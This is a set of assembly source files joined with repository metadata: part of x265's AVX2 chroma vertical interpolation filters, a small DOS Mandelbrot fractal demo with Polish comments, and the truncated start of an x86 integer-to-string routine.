pmaddwd m5, m4, [r5 + 1 * mmsize]
paddd m2, m5
pmaddwd m4, [r5]
movq xm3, [r0 + r4] ; row 7
punpcklwd xm1, xm3
lea r0, [r0 + 4 * r1]
movq xm6, [r0] ; row 8
punpcklwd xm3, xm6
vinserti128 m1, m1, xm3, 1 ; m1 = [8 7 7 6]
pmaddwd m5, m1, [r5 + 1 * mmsize]
paddd m4, m5
pmaddwd m1, [r5]
movq xm3, [r0 + r1] ; row 9
punpcklwd xm6, xm3
movq xm5, [r0 + 2 * r1] ; row 10
punpcklwd xm3, xm5
vinserti128 m6, m6, xm3, 1 ; m6 = [A 9 9 8]
pmaddwd m6, [r5 + 1 * mmsize]
paddd m1, m6
%ifnidn %1,ss
paddd m0, m7
paddd m2, m7
%endif
psrad m0, %3
psrad m2, %3
packssdw m0, m2
pxor m6, m6
mova m3, [pw_pixel_max]
%if %2
CLIPW m0, m6, m3
%endif
vextracti128 xm2, m0, 1
movq [r2], xm0
movq [r2 + r3], xm2
movhps [r2 + r3 * 2], xm0
movhps [r2 + r6], xm2
%ifnidn %1,ss
paddd m4, m7
paddd m1, m7
%endif
psrad m4, %3
psrad m1, %3
packssdw m4, m1
%if %2
CLIPW m4, m6, m3
%endif
vextracti128 xm1, m4, 1
lea r2, [r2 + r3 * 4]
movq [r2], xm4
movq [r2 + r3], xm1
movhps [r2 + r3 * 2], xm4
movhps [r2 + r6], xm1
RET
%endmacro
FILTER_VER_CHROMA_AVX2_4x8 pp, 1, 6
FILTER_VER_CHROMA_AVX2_4x8 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_4x8 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_4x8 ss, 0 , 6
%macro PROCESS_LUMA_AVX2_W4_16R_4TAP 3
movq xm0, [r0] ; row 0
movq xm1, [r0 + r1] ; row 1
punpcklwd xm0, xm1
movq xm2, [r0 + r1 * 2] ; row 2
punpcklwd xm1, xm2
vinserti128 m0, m0, xm1, 1 ; m0 = [2 1 1 0]
pmaddwd m0, [r5]
movq xm3, [r0 + r4] ; row 3
punpcklwd xm2, xm3
lea r0, [r0 + 4 * r1]
movq xm4, [r0] ; row 4
punpcklwd xm3, xm4
vinserti128 m2, m2, xm3, 1 ; m2 = [4 3 3 2]
pmaddwd m5, m2, [r5 + 1 * mmsize]
pmaddwd m2, [r5]
paddd m0, m5
movq xm3, [r0 + r1] ; row 5
punpcklwd xm4, xm3
movq xm1, [r0 + r1 * 2] ; row 6
punpcklwd xm3, xm1
vinserti128 m4, m4, xm3, 1 ; m4 = [6 5 5 4]
pmaddwd m5, m4, [r5 + 1 * mmsize]
paddd m2, m5
pmaddwd m4, [r5]
movq xm3, [r0 + r4] ; row 7
punpcklwd xm1, xm3
lea r0, [r0 + 4 * r1]
movq xm6, [r0] ; row 8
punpcklwd xm3, xm6
vinserti128 m1, m1, xm3, 1 ; m1 = [8 7 7 6]
pmaddwd m5, m1, [r5 + 1 * mmsize]
paddd m4, m5
pmaddwd m1, [r5]
movq xm3, [r0 + r1] ; row 9
punpcklwd xm6, xm3
movq xm5, [r0 + 2 * r1] ; row 10
punpcklwd xm3, xm5
vinserti128 m6, m6, xm3, 1 ; m6 = [10 9 9 8]
pmaddwd m3, m6, [r5 + 1 * mmsize]
paddd m1, m3
pmaddwd m6, [r5]
%ifnidn %1,ss
paddd m0, m7
paddd m2, m7
%endif
psrad m0, %3
psrad m2, %3
packssdw m0, m2
pxor m3, m3
%if %2
CLIPW m0, m3, [pw_pixel_max]
%endif
vextracti128 xm2, m0, 1
movq [r2], xm0
movq [r2 + r3], xm2
movhps [r2 + r3 * 2], xm0
movhps [r2 + r6], xm2
movq xm2, [r0 + r4] ;row 11
punpcklwd xm5, xm2
lea r0, [r0 + 4 * r1]
movq xm0, [r0] ; row 12
punpcklwd xm2, xm0
vinserti128 m5, m5, xm2, 1 ; m5 = [12 11 11 10]
pmaddwd m2, m5, [r5 + 1 * mmsize]
paddd m6, m2
pmaddwd m5, [r5]
movq xm2, [r0 + r1] ; row 13
punpcklwd xm0, xm2
movq xm3, [r0 + 2 * r1] ; row 14
punpcklwd xm2, xm3
vinserti128 m0, m0, xm2, 1 ; m0 = [14 13 13 12]
pmaddwd m2, m0, [r5 + 1 * mmsize]
paddd m5, m2
pmaddwd m0, [r5]
%ifnidn %1,ss
paddd m4, m7
paddd m1, m7
%endif
psrad m4, %3
psrad m1, %3
packssdw m4, m1
pxor m2, m2
%if %2
CLIPW m4, m2, [pw_pixel_max]
%endif
vextracti128 xm1, m4, 1
lea r2, [r2 + r3 * 4]
movq [r2], xm4
movq [r2 + r3], xm1
movhps [r2 + r3 * 2], xm4
movhps [r2 + r6], xm1
movq xm4, [r0 + r4] ; row 15
punpcklwd xm3, xm4
lea r0, [r0 + 4 * r1]
movq xm1, [r0] ; row 16
punpcklwd xm4, xm1
vinserti128 m3, m3, xm4, 1 ; m3 = [16 15 15 14]
pmaddwd m4, m3, [r5 + 1 * mmsize]
paddd m0, m4
pmaddwd m3, [r5]
movq xm4, [r0 + r1] ; row 17
punpcklwd xm1, xm4
movq xm2, [r0 + 2 * r1] ; row 18
punpcklwd xm4, xm2
vinserti128 m1, m1, xm4, 1 ; m1 = [18 17 17 16]
pmaddwd m1, [r5 + 1 * mmsize]
paddd m3, m1
%ifnidn %1,ss
paddd m6, m7
paddd m5, m7
%endif
psrad m6, %3
psrad m5, %3
packssdw m6, m5
pxor m1, m1
%if %2
CLIPW m6, m1, [pw_pixel_max]
%endif
vextracti128 xm5, m6, 1
lea r2, [r2 + r3 * 4]
movq [r2], xm6
movq [r2 + r3], xm5
movhps [r2 + r3 * 2], xm6
movhps [r2 + r6], xm5
%ifnidn %1,ss
paddd m0, m7
paddd m3, m7
%endif
psrad m0, %3
psrad m3, %3
packssdw m0, m3
%if %2
CLIPW m0, m1, [pw_pixel_max]
%endif
vextracti128 xm3, m0, 1
lea r2, [r2 + r3 * 4]
movq [r2], xm0
movq [r2 + r3], xm3
movhps [r2 + r3 * 2], xm0
movhps [r2 + r6], xm3
%endmacro
%macro FILTER_VER_CHROMA_AVX2_4xN 4
INIT_YMM avx2
cglobal interp_4tap_vert_%1_4x%2, 4, 8, 8
mov r4d, r4m
shl r4d, 6
add r1d, r1d
add r3d, r3d
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
mov r7d, %2 / 16
%ifidn %1,pp
vbroadcasti128 m7, [pd_32]
%elifidn %1, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
lea r6, [r3 * 3]
.loopH:
PROCESS_LUMA_AVX2_W4_16R_4TAP %1, %3, %4
lea r2, [r2 + r3 * 4]
dec r7d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_AVX2_4xN pp, 16, 1, 6
FILTER_VER_CHROMA_AVX2_4xN ps, 16, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_4xN sp, 16, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_4xN ss, 16, 0, 6
FILTER_VER_CHROMA_AVX2_4xN pp, 32, 1, 6
FILTER_VER_CHROMA_AVX2_4xN ps, 32, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_4xN sp, 32, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_4xN ss, 32, 0, 6
%macro FILTER_VER_CHROMA_AVX2_8x8 3
INIT_YMM avx2
%if ARCH_X86_64 == 1
cglobal interp_4tap_vert_%1_8x8, 4, 6, 12
mov r4d, r4m
add r1d, r1d
add r3d, r3d
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m11, [pd_32]
%elifidn %1, sp
vbroadcasti128 m11, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m11, [INTERP_OFFSET_PS]
%endif
movu xm0, [r0] ; m0 = row 0
movu xm1, [r0 + r1] ; m1 = row 1
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2] ; m2 = row 2
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
movu xm3, [r0 + r4] ; m3 = row 3
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m4, m2, [r5 + 1 * mmsize]
pmaddwd m2, [r5]
paddd m0, m4 ; res row0 done(0,1,2,3)
lea r0, [r0 + r1 * 4]
movu xm4, [r0] ; m4 = row 4
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m5, m3, [r5 + 1 * mmsize]
pmaddwd m3, [r5]
paddd m1, m5 ;res row1 done(1, 2, 3, 4)
movu xm5, [r0 + r1] ; m5 = row 5
punpckhwd xm6, xm4, xm5
punpcklwd xm4, xm5
vinserti128 m4, m4, xm6, 1
pmaddwd m6, m4, [r5 + 1 * mmsize]
pmaddwd m4, [r5]
paddd m2, m6 ;res row2 done(2,3,4,5)
movu xm6, [r0 + r1 * 2] ; m6 = row 6
punpckhwd xm7, xm5, xm6
punpcklwd xm5, xm6
vinserti128 m5, m5, xm7, 1
pmaddwd m7, m5, [r5 + 1 * mmsize]
pmaddwd m5, [r5]
paddd m3, m7 ;res row3 done(3,4,5,6)
movu xm7, [r0 + r4] ; m7 = row 7
punpckhwd xm8, xm6, xm7
punpcklwd xm6, xm7
vinserti128 m6, m6, xm8, 1
pmaddwd m8, m6, [r5 + 1 * mmsize]
pmaddwd m6, [r5]
paddd m4, m8 ;res row4 done(4,5,6,7)
lea r0, [r0 + r1 * 4]
movu xm8, [r0] ; m8 = row 8
punpckhwd xm9, xm7, xm8
punpcklwd xm7, xm8
vinserti128 m7, m7, xm9, 1
pmaddwd m9, m7, [r5 + 1 * mmsize]
pmaddwd m7, [r5]
paddd m5, m9 ;res row5 done(5,6,7,8)
movu xm9, [r0 + r1] ; m9 = row 9
punpckhwd xm10, xm8, xm9
punpcklwd xm8, xm9
vinserti128 m8, m8, xm10, 1
pmaddwd m8, [r5 + 1 * mmsize]
paddd m6, m8 ;res row6 done(6,7,8,9)
movu xm10, [r0 + r1 * 2] ; m10 = row 10
punpckhwd xm8, xm9, xm10
punpcklwd xm9, xm10
vinserti128 m9, m9, xm8, 1
pmaddwd m9, [r5 + 1 * mmsize]
paddd m7, m9 ;res row7 done 7,8,9,10
lea r4, [r3 * 3]
%ifnidn %1,ss
paddd m0, m11
paddd m1, m11
paddd m2, m11
paddd m3, m11
%endif
psrad m0, %3
psrad m1, %3
psrad m2, %3
psrad m3, %3
packssdw m0, m1
packssdw m2, m3
vpermq m0, m0, q3120
vpermq m2, m2, q3120
pxor m1, m1
mova m3, [pw_pixel_max]
%if %2
CLIPW m0, m1, m3
CLIPW m2, m1, m3
%endif
vextracti128 xm9, m0, 1
vextracti128 xm8, m2, 1
movu [r2], xm0
movu [r2 + r3], xm9
movu [r2 + r3 * 2], xm2
movu [r2 + r4], xm8
%ifnidn %1,ss
paddd m4, m11
paddd m5, m11
paddd m6, m11
paddd m7, m11
%endif
psrad m4, %3
psrad m5, %3
psrad m6, %3
psrad m7, %3
packssdw m4, m5
packssdw m6, m7
vpermq m4, m4, q3120
vpermq m6, m6, q3120
%if %2
CLIPW m4, m1, m3
CLIPW m6, m1, m3
%endif
vextracti128 xm5, m4, 1
vextracti128 xm7, m6, 1
lea r2, [r2 + r3 * 4]
movu [r2], xm4
movu [r2 + r3], xm5
movu [r2 + r3 * 2], xm6
movu [r2 + r4], xm7
RET
%endif
%endmacro
FILTER_VER_CHROMA_AVX2_8x8 pp, 1, 6
FILTER_VER_CHROMA_AVX2_8x8 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_8x8 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_8x8 ss, 0, 6
%macro FILTER_VER_CHROMA_AVX2_8x6 3
INIT_YMM avx2
%if ARCH_X86_64 == 1
cglobal interp_4tap_vert_%1_8x6, 4, 6, 12
mov r4d, r4m
add r1d, r1d
add r3d, r3d
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m11, [pd_32]
%elifidn %1, sp
vbroadcasti128 m11, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m11, [INTERP_OFFSET_PS]
%endif
movu xm0, [r0] ; m0 = row 0
movu xm1, [r0 + r1] ; m1 = row 1
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2] ; m2 = row 2
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
movu xm3, [r0 + r4] ; m3 = row 3
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m4, m2, [r5 + 1 * mmsize]
pmaddwd m2, [r5]
paddd m0, m4 ; r0 done(0,1,2,3)
lea r0, [r0 + r1 * 4]
movu xm4, [r0] ; m4 = row 4
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m5, m3, [r5 + 1 * mmsize]
pmaddwd m3, [r5]
paddd m1, m5 ;r1 done(1, 2, 3, 4)
movu xm5, [r0 + r1] ; m5 = row 5
punpckhwd xm6, xm4, xm5
punpcklwd xm4, xm5
vinserti128 m4, m4, xm6, 1
pmaddwd m6, m4, [r5 + 1 * mmsize]
pmaddwd m4, [r5]
paddd m2, m6 ;r2 done(2,3,4,5)
movu xm6, [r0 + r1 * 2] ; m6 = row 6
punpckhwd xm7, xm5, xm6
punpcklwd xm5, xm6
vinserti128 m5, m5, xm7, 1
pmaddwd m7, m5, [r5 + 1 * mmsize]
pmaddwd m5, [r5]
paddd m3, m7 ;r3 done(3,4,5,6)
movu xm7, [r0 + r4] ; m7 = row 7
punpckhwd xm8, xm6, xm7
punpcklwd xm6, xm7
vinserti128 m6, m6, xm8, 1
pmaddwd m8, m6, [r5 + 1 * mmsize]
paddd m4, m8 ;r4 done(4,5,6,7)
lea r0, [r0 + r1 * 4]
movu xm8, [r0] ; m8 = row 8
punpckhwd xm9, xm7, xm8
punpcklwd xm7, xm8
vinserti128 m7, m7, xm9, 1
pmaddwd m7, m7, [r5 + 1 * mmsize]
paddd m5, m7 ;r5 done(5,6,7,8)
lea r4, [r3 * 3]
%ifnidn %1,ss
paddd m0, m11
paddd m1, m11
paddd m2, m11
paddd m3, m11
%endif
psrad m0, %3
psrad m1, %3
psrad m2, %3
psrad m3, %3
packssdw m0, m1
packssdw m2, m3
vpermq m0, m0, q3120
vpermq m2, m2, q3120
pxor m10, m10
mova m9, [pw_pixel_max]
%if %2
CLIPW m0, m10, m9
CLIPW m2, m10, m9
%endif
vextracti128 xm1, m0, 1
vextracti128 xm3, m2, 1
movu [r2], xm0
movu [r2 + r3], xm1
movu [r2 + r3 * 2], xm2
movu [r2 + r4], xm3
%ifnidn %1,ss
paddd m4, m11
paddd m5, m11
%endif
psrad m4, %3
psrad m5, %3
packssdw m4, m5
vpermq m4, m4, 11011000b
%if %2
CLIPW m4, m10, m9
%endif
vextracti128 xm5, m4, 1
lea r2, [r2 + r3 * 4]
movu [r2], xm4
movu [r2 + r3], xm5
RET
%endif
%endmacro
FILTER_VER_CHROMA_AVX2_8x6 pp, 1, 6
FILTER_VER_CHROMA_AVX2_8x6 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_8x6 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_8x6 ss, 0, 6
%macro PROCESS_CHROMA_AVX2 3
movu xm0, [r0] ; m0 = row 0
movu xm1, [r0 + r1] ; m1 = row 1
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2] ; m2 = row 2
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
movu xm3, [r0 + r4] ; m3 = row 3
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m4, m2, [r5 + 1 * mmsize]
paddd m0, m4
pmaddwd m2, [r5]
lea r0, [r0 + r1 * 4]
movu xm4, [r0] ; m4 = row 4
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m5, m3, [r5 + 1 * mmsize]
paddd m1, m5
pmaddwd m3, [r5]
movu xm5, [r0 + r1] ; m5 = row 5
punpckhwd xm6, xm4, xm5
punpcklwd xm4, xm5
vinserti128 m4, m4, xm6, 1
pmaddwd m4, [r5 + 1 * mmsize]
paddd m2, m4
movu xm6, [r0 + r1 * 2] ; m6 = row 6
punpckhwd xm4, xm5, xm6
punpcklwd xm5, xm6
vinserti128 m5, m5, xm4, 1
pmaddwd m5, [r5 + 1 * mmsize]
paddd m3, m5
%ifnidn %1,ss
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
%endif
psrad m0, %3
psrad m1, %3
psrad m2, %3
psrad m3, %3
packssdw m0, m1
packssdw m2, m3
vpermq m0, m0, q3120
vpermq m2, m2, q3120
pxor m4, m4
%if %2
CLIPW m0, m4, [pw_pixel_max]
CLIPW m2, m4, [pw_pixel_max]
%endif
vextracti128 xm1, m0, 1
vextracti128 xm3, m2, 1
%endmacro
%macro FILTER_VER_CHROMA_AVX2_8x4 3
INIT_YMM avx2
cglobal interp_4tap_vert_%1_8x4, 4, 6, 8
mov r4d, r4m
shl r4d, 6
add r1d, r1d
add r3d, r3d
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m7, [pd_32]
%elifidn %1, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
PROCESS_CHROMA_AVX2 %1, %2, %3
movu [r2], xm0
movu [r2 + r3], xm1
movu [r2 + r3 * 2], xm2
lea r4, [r3 * 3]
movu [r2 + r4], xm3
RET
%endmacro
FILTER_VER_CHROMA_AVX2_8x4 pp, 1, 6
FILTER_VER_CHROMA_AVX2_8x4 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_8x4 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_8x4 ss, 0, 6
%macro FILTER_VER_CHROMA_AVX2_8x12 3
INIT_YMM avx2
%if ARCH_X86_64 == 1
cglobal interp_4tap_vert_%1_8x12, 4, 7, 15
mov r4d, r4m
shl r4d, 6
add r1d, r1d
add r3d, r3d
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m14, [pd_32]
%elifidn %1, sp
vbroadcasti128 m14, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m14, [INTERP_OFFSET_PS]
%endif
lea r6, [r3 * 3]
movu xm0, [r0] ; m0 = row 0
movu xm1, [r0 + r1] ; m1 = row 1
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2] ; m2 = row 2
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
movu xm3, [r0 + r4] ; m3 = row 3
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m4, m2, [r5 + 1 * mmsize]
paddd m0, m4
pmaddwd m2, [r5]
lea r0, [r0 + r1 * 4]
movu xm4, [r0] ; m4 = row 4
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m5, m3, [r5 + 1 * mmsize]
paddd m1, m5
pmaddwd m3, [r5]
movu xm5, [r0 + r1] ; m5 = row 5
punpckhwd xm6, xm4, xm5
punpcklwd xm4, xm5
vinserti128 m4, m4, xm6, 1
pmaddwd m6, m4, [r5 + 1 * mmsize]
paddd m2, m6
pmaddwd m4, [r5]
movu xm6, [r0 + r1 * 2] ; m6 = row 6
punpckhwd xm7, xm5, xm6
punpcklwd xm5, xm6
vinserti128 m5, m5, xm7, 1
pmaddwd m7, m5, [r5 + 1 * mmsize]
paddd m3, m7
pmaddwd m5, [r5]
movu xm7, [r0 + r4] ; m7 = row 7
punpckhwd xm8, xm6, xm7
punpcklwd xm6, xm7
vinserti128 m6, m6, xm8, 1
pmaddwd m8, m6, [r5 + 1 * mmsize]
paddd m4, m8
pmaddwd m6, [r5]
lea r0, [r0 + r1 * 4]
movu xm8, [r0] ; m8 = row 8
punpckhwd xm9, xm7, xm8
punpcklwd xm7, xm8
vinserti128 m7, m7, xm9, 1
pmaddwd m9, m7, [r5 + 1 * mmsize]
paddd m5, m9
pmaddwd m7, [r5]
movu xm9, [r0 + r1] ; m9 = row 9
punpckhwd xm10, xm8, xm9
punpcklwd xm8, xm9
vinserti128 m8, m8, xm10, 1
pmaddwd m10, m8, [r5 + 1 * mmsize]
paddd m6, m10
pmaddwd m8, [r5]
movu xm10, [r0 + r1 * 2] ; m10 = row 10
punpckhwd xm11, xm9, xm10
punpcklwd xm9, xm10
vinserti128 m9, m9, xm11, 1
pmaddwd m11, m9, [r5 + 1 * mmsize]
paddd m7, m11
pmaddwd m9, [r5]
movu xm11, [r0 + r4] ; m11 = row 11
punpckhwd xm12, xm10, xm11
punpcklwd xm10, xm11
vinserti128 m10, m10, xm12, 1
pmaddwd m12, m10, [r5 + 1 * mmsize]
paddd m8, m12
pmaddwd m10, [r5]
lea r0, [r0 + r1 * 4]
movu xm12, [r0] ; m12 = row 12
punpckhwd xm13, xm11, xm12
punpcklwd xm11, xm12
vinserti128 m11, m11, xm13, 1
pmaddwd m13, m11, [r5 + 1 * mmsize]
paddd m9, m13
pmaddwd m11, [r5]
%ifnidn %1,ss
paddd m0, m14
paddd m1, m14
paddd m2, m14
paddd m3, m14
paddd m4, m14
paddd m5, m14
%endif
psrad m0, %3
psrad m1, %3
psrad m2, %3
psrad m3, %3
psrad m4, %3
psrad m5, %3
packssdw m0, m1
packssdw m2, m3
packssdw m4, m5
vpermq m0, m0, q3120
vpermq m2, m2, q3120
vpermq m4, m4, q3120
pxor m5, m5
mova m3, [pw_pixel_max]
%if %2
CLIPW m0, m5, m3
CLIPW m2, m5, m3
CLIPW m4, m5, m3
%endif
vextracti128 xm1, m0, 1
movu [r2], xm0
movu [r2 + r3], xm1
vextracti128 xm1, m2, 1
movu [r2 + r3 * 2], xm2
movu [r2 + r6], xm1
lea r2, [r2 + r3 * 4]
vextracti128 xm1, m4, 1
movu [r2], xm4
movu [r2 + r3], xm1
movu xm13, [r0 + r1] ; m13 = row 13
punpckhwd xm0, xm12, xm13
punpcklwd xm12, xm13
vinserti128 m12, m12, xm0, 1
pmaddwd m12, m12, [r5 + 1 * mmsize]
paddd m10, m12
movu xm0, [r0 + r1 * 2] ; m0 = row 14
punpckhwd xm1, xm13, xm0
punpcklwd xm13, xm0
vinserti128 m13, m13, xm1, 1
pmaddwd m13, m13, [r5 + 1 * mmsize]
paddd m11, m13
%ifnidn %1,ss
paddd m6, m14
paddd m7, m14
paddd m8, m14
paddd m9, m14
paddd m10, m14
paddd m11, m14
%endif
psrad m6, %3
psrad m7, %3
psrad m8, %3
psrad m9, %3
psrad m10, %3
psrad m11, %3
packssdw m6, m7
packssdw m8, m9
packssdw m10, m11
vpermq m6, m6, q3120
vpermq m8, m8, q3120
vpermq m10, m10, q3120
%if %2
CLIPW m6, m5, m3
CLIPW m8, m5, m3
CLIPW m10, m5, m3
%endif
vextracti128 xm7, m6, 1
vextracti128 xm9, m8, 1
vextracti128 xm11, m10, 1
movu [r2 + r3 * 2], xm6
movu [r2 + r6], xm7
lea r2, [r2 + r3 * 4]
movu [r2], xm8
movu [r2 + r3], xm9
movu [r2 + r3 * 2], xm10
movu [r2 + r6], xm11
RET
%endif
%endmacro
FILTER_VER_CHROMA_AVX2_8x12 pp, 1, 6
FILTER_VER_CHROMA_AVX2_8x12 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_8x12 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_8x12 ss, 0, 6 | ninetian/ffmpeginstaller | x265/source/common/x86/v4-ipfilter16.asm | Assembly | apache-2.0 | 105,516 |
; Fraktal Mandelbrota (148 bajtów)
; kompilacja: nasm frac.asm -o frac.com
; Wojciech Mu³a
; 31.08.2001
; 1.09.2001
; 14.04.2004 -- polskie komentarze
org 100h ; format COM
iterations equ 64 ; liczba iteracji
%define set_palette
start:
;; ustawienie trybu graficznego 320x200x256
mov al, 13h
int 10h
%ifdef set_palette
;; ustawienie palety kolorów
mov dx, 3c8h ;
mov al, 0 ; zaczynamy od indeksu 0
out dx, al ;
inc dx ;
set_pal: ;
out dx, al ;
out dx, al ;
out dx, al ;
inc al ;
cmp al, 64 ; i ustawiamy pierwsze 64 kolorów
jne set_pal ; na poziomy szaro¶ci
%endif
push word 0a000h ;
pop es ; [es:di] -> A000:0000
xor di, di ;
finit ; inicjalizacja koprocesora
fld dword [Cim_min] ; Cim = Cim_min
mov dl, 200
loopy:
mov cx, 320
fld dword [Cre_min] ; Cre = Cre_min
loopx:
fldz
fldz ; Xre = Xim = 0.0
mov dh, iterations
iters: ; st0 st1 st2 st3 st4 st5 st6
fld st0 ; Xre Xre Xim Cre Cim
fld st2 ; Xim Xre Xre Xim Cre Cim
;; Re(X^2+C) = Xre^2 + Xim^2 + Cre
fmul st3 ; Xim^2 Xre Xre Xim Cre Cim
fxch ; Xre Xim^2 Xre Xim Cre Cim
fmul st2 ; Xre^2 Xim^2 Xre Xim Cre Cim
fsubrp st1 ; Xre^2-Xim^2 Xre Xim Cre Cim
fadd st3 ; Tre Xre Xim Cre Cim
;; Im(X^2+C) = 2*Xre*Xim + Cim
fxch st2 ; Xim Xre Tre Cre Cim
fmulp st1 ; Xim*Xre Tre Cre Cim
fadd st0, st0 ; Tim Tre Cre Cim
fadd st3
;; obliczenie kwadratu modu³u z liczby X^2+C
fld st0 ; Tim Tim Tre Cre Cim
fmul st1 ; Tim^2 Tim Tre Cre Cim
fld st2 ; Tre Tim^2 Tim Tre Cre Cim
fmul st3 ; Tre^2 Tim^2 Tim Tre Cre Cim
faddp st1 ; Tre^2+Tim^2 Tim Tre Cre Cim
; if (Tre^2+Tim^2 > thersold) break
fcomp dword [thershold] ; Tim Tre Cre Cim
fstsw ax ; zapisz wynik porównania
and ah,41h ; do rejestru FLAGS
jz break
fxch ; Tre Tim Cre Cim
; jeste¶my gotowi do nastêpnej iteracji
dec dh ;
jnz iters ; nastêpna iteracja
break:
fcompp ; usuniêcie ze stosu Tre oraz Tim
mov [es:di], dh ; narysowanie piksela
inc di ;
fadd dword [Cadd] ; Cre += Cadd
loop loopx ; pêtla X
fcomp st1 ; usuniêcie Cre ze stosu, zostanie ponownie
; za³adowany
fadd dword [Cadd] ; Cim += Cadd
dec dl ; pêtla X
jnz loopy ;
fcompp ; usuñ Cre i Cim ze stosu
mov ah, 07h ; czekaj na klawisz
int 21h
mov ax, 0003h ; koniec
int 10h
ret
Cim_min dd -1.0 ; pocz±tkowa warto¶ci C
Cre_min dd -2.0 ;
Cadd dd 0.009375 ; 3/320
thershold dd 20.0 ; mo¿na sprobówaæ te¿ z 1.0, 0.1 itp.
;; równowa¿ny kod w C++
;Cim = Cim_min
;for (int y=0; y<200; y++, Cre=Cre_min, Cim+=Cadd)
; for (int x=0; x<320; x++, Cre+=Cadd)
; {
; Xre = Xim = 0.0;
; int i;
; for (i=0; i<63; i++)
; {
; Tre = Xre*Xre - Xim*Xim + Cre
; Tim = 2*Xre*Xim + Cim
;
; if (Tre*Tre+Tim*Tim > thershold) break;
; Xre = Tre;
; Xim = Tim;
; }
; put_pixel(x,y, i);
; }
;; eof
| WojciechMula/toys | asmfractal/frac.asm | Assembly | bsd-2-clause | 4,383 |
BITS 32
GLOBAL _start
SECTION .text
_start:
itoa:
; eax must contain the number that needs to be converted.
; ebx must point to a buffer that would store the converted string.
; The buffer must have at least 12 bytes to contain maximum 4-byte number
; including minus sign.
push ebp
mov ebp, esp
sub esp, 4 ; Allocate 4 bytes for string length
add ebx, 11 ; Mov to end of buffer
mov byte [ebx], 0 ; Put \0 or NULL at the end
mov ecx, 10 ; Divisor
mov dword [ebp - 4], 0 ; ebp-4 will contain string length
.checknegative:
xor edi, edi
cmp eax, 0
jge .divloop
neg eax
mov edi, 1
.divloop:
xor edx, edx ; Zero out edx (remainder is in edx after idiv)
idiv ecx ; Divide eax by ecx
add edx, 0x30 ; Add 0x30 to the remainder to get ASCII value
